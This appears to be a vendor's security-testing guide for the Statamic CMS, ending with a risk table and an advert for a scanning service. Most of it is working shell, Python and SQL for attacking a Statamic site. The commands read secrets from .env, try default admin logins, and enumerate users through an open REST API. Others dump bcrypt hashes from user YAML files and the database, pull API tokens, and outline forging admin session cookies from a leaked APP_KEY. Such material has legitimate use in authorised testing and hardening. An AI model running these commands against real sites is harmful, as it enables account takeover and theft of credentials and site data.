Statamic Security Testing: Default Credentials, API Key, Database, and CMS

Statamic is a modern CMS built on the Laravel framework, available in both flat-file and database-backed modes. Key assessment areas: the .env APP_KEY is the Laravel application key used to sign session cookies — exposing it allows forging admin sessions without any credentials; users/admin.yaml (flat-file) or the database users table stores bcrypt hashes; the REST API may expose content unauthenticated when STATAMIC_API_ENABLED=true; and the control panel addon installer executes arbitrary PHP. This guide covers systematic Statamic security assessment.

Table of Contents

  1. .env APP_KEY Extraction and Laravel Session Forgery
  2. REST API and Control Panel Assessment
  3. users/ YAML Hash and Database User Extraction
  4. Statamic Security Hardening

.env APP_KEY Extraction and Laravel Session Forgery

# Statamic — .env APP_KEY extraction and Laravel session forgery
STATAMIC_URL="https://site.example.com"

# .env — Laravel application key and database credentials
cat /var/www/statamic/.env 2>/dev/null | \
  grep -E "APP_KEY|DB_PASSWORD|STATAMIC_|MAIL_PASSWORD|AWS_SECRET"
# APP_KEY=base64:AbCdEfGhIjKlMnOpQrStUvWxYz0123456789AbCdEf=
# DB_PASSWORD=mysql-password
# STATAMIC_LICENSE_KEY=XXXX-XXXX-XXXX-XXXX
# STATAMIC_API_ENABLED=true    <-- REST API is accessible

# Check .env web accessibility (CRITICAL)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${STATAMIC_URL}/.env" 2>/dev/null)
echo "/.env: HTTP ${STATUS}"

# APP_KEY exposure → Laravel session cookie forgery
# Laravel uses APP_KEY to HMAC-sign the session cookie
# If APP_KEY is known, forge a valid session as any user
python3 -c "
import base64, json
app_key = 'extracted-base64-app-key-here'
# Use phpggc or custom tool to forge Laravel session cookie
# Target: forge session as admin user ID
print('APP_KEY:', app_key[:20], '...')
print('Action: use laravel-session-forger tool or phpggc')
" 2>/dev/null

# Test admin credentials at /cp/auth/login
for CRED in 'admin@example.com:admin' 'admin@site.com:password'; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${STATAMIC_URL}/cp/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
    -c /tmp/st_c -b /tmp/st_c -L 2>/dev/null)
  echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done

REST API and Control Panel Assessment

# Statamic REST API — content and user enumeration
STATAMIC_URL="https://site.example.com"

# Statamic REST API (enabled via STATAMIC_API_ENABLED=true in .env)
# Default API routes at /api/ — no authentication if not configured
curl -s "${STATAMIC_URL}/api/collections" 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    for col in d.get('data', [])[:5]:
        print(f'  Collection: {col.get(\"handle\")} ({col.get(\"title\")})')
except: pass
" 2>/dev/null

# Enumerate all entries in a collection
curl -s "${STATAMIC_URL}/api/collections/pages/entries?limit=100" 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    for e in d.get('data', [])[:10]:
        print(f'  [{e.get(\"status\")}] {e.get(\"title\")} - {e.get(\"url\")}')
except: pass
" 2>/dev/null

# Statamic /api/users — user enumeration (if API auth disabled for users endpoint)
curl -s "${STATAMIC_URL}/api/users" 2>/dev/null | \
  python3 -c "
import json, sys
try:
    d = json.load(sys.stdin)
    for u in d.get('data', [])[:10]:
        print(f'  {u.get(\"email\")} — super={u.get(\"super\")}')
except: pass
" 2>/dev/null

# Statamic control panel at /cp
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${STATAMIC_URL}/cp" 2>/dev/null)
echo "/cp: HTTP ${STATUS}"

# Statamic addon installer (authenticated, super admin required)
# Addons are Composer packages with PHP code executed on the server
CP_SESS="extracted-laravel-session"
curl -s "${STATAMIC_URL}/cp/addons/install" \
  -b "statamic_session=${CP_SESS}" 2>/dev/null | head -5

users/ YAML Hash and Database User Extraction

# Statamic — users/ YAML hash extraction (flat-file mode)
# Flat-file mode stores user data in users/ directory as YAML files

# List all user YAML files
ls /var/www/statamic/users/ 2>/dev/null

for USER_FILE in /var/www/statamic/users/*.yaml; do
  echo "=== ${USER_FILE} ==="
  cat "${USER_FILE}" 2>/dev/null
done
# name: Admin User
# email: admin@example.com
# password: '$2y$10$...'   <-- bcrypt hash
# super: true              <-- super admin (full CP access)
# roles: []
# groups: []

# Statamic database mode — users table (MySQL/PostgreSQL)
DB_PASS="extracted-db-password"
mysql -u statamic -p"${DB_PASS}" statamic 2>/dev/null << 'EOF'
-- users table — Statamic user accounts with bcrypt hashes
SELECT u.id, u.name, u.email, u.password,
       u.super,          -- true/1 = super admin (full control panel)
       u.last_login_at, u.created_at,
       u.preferences
FROM users u
ORDER BY u.id;
-- password: bcrypt ($2y$10$...)
-- super=1: unrestricted control panel access

-- Check for Statamic tokens (API authentication)
SELECT t.id, t.user_id, t.name, t.token, t.last_used_at
FROM personal_access_tokens t
WHERE t.tokenable_type LIKE '%User%'
ORDER BY t.last_used_at DESC
LIMIT 20;
-- token: hashed API bearer token — if plaintext portion known, API auth bypass

-- content stored as files in flat-file mode, or in database in DB mode
SELECT e.id, e.collection, e.slug, e.status,
       e.data, e.date, e.published_at
FROM entries e
WHERE e.status = 'draft'
ORDER BY e.date DESC
LIMIT 20;
EOF

Statamic Security Hardening

Statamic Security Hardening Checklist:
Security TestMethodRisk
.env APP_KEY exposure enabling Laravel session cookie forgeryGET /.env — HTTP 200 = APP_KEY direct access; forge valid admin session cookie without knowing any password using phpggc or equivalentCritical
users/ YAML bcrypt hash web accessibility (flat-file mode)GET /users/admin.yaml — HTTP 200 = direct bcrypt hash download; super: true flag identifies unrestricted admin accountsCritical
Statamic REST API unauthenticated content and user enumerationGET /api/users — user email, super flag enumeration; GET /api/collections — all content structure; no auth required if STATAMIC_API_ENABLED=true without auth configHigh
Admin credential brute-force at /cp/auth/loginPOST /cp/auth/login — email/password; super admin session enables addon installation (PHP code execution) and full content managementHigh
personal_access_tokens API token extraction from databaseMySQL SELECT token FROM personal_access_tokens — API bearer tokens enabling programmatic super admin CP access without passwordHigh

Automate Statamic Security Testing

Ironimo tests Statamic deployments for .env APP_KEY web accessibility enabling Laravel session cookie forgery, users/ YAML bcrypt hash and super admin flag web accessibility (flat-file mode), Statamic REST API unauthenticated content and user enumeration at /api/collections and /api/users, admin credential brute-force at /cp/auth/login, personal_access_tokens API token extraction, database users table bcrypt hash extraction with super=1 identification, Statamic addon installer PHP code execution RCE assessment, storage/ and config/ directory web accessibility verification, STATAMIC_API_ENABLED .env disclosure, and Statamic version disclosure for CVE targeting.

Start free scan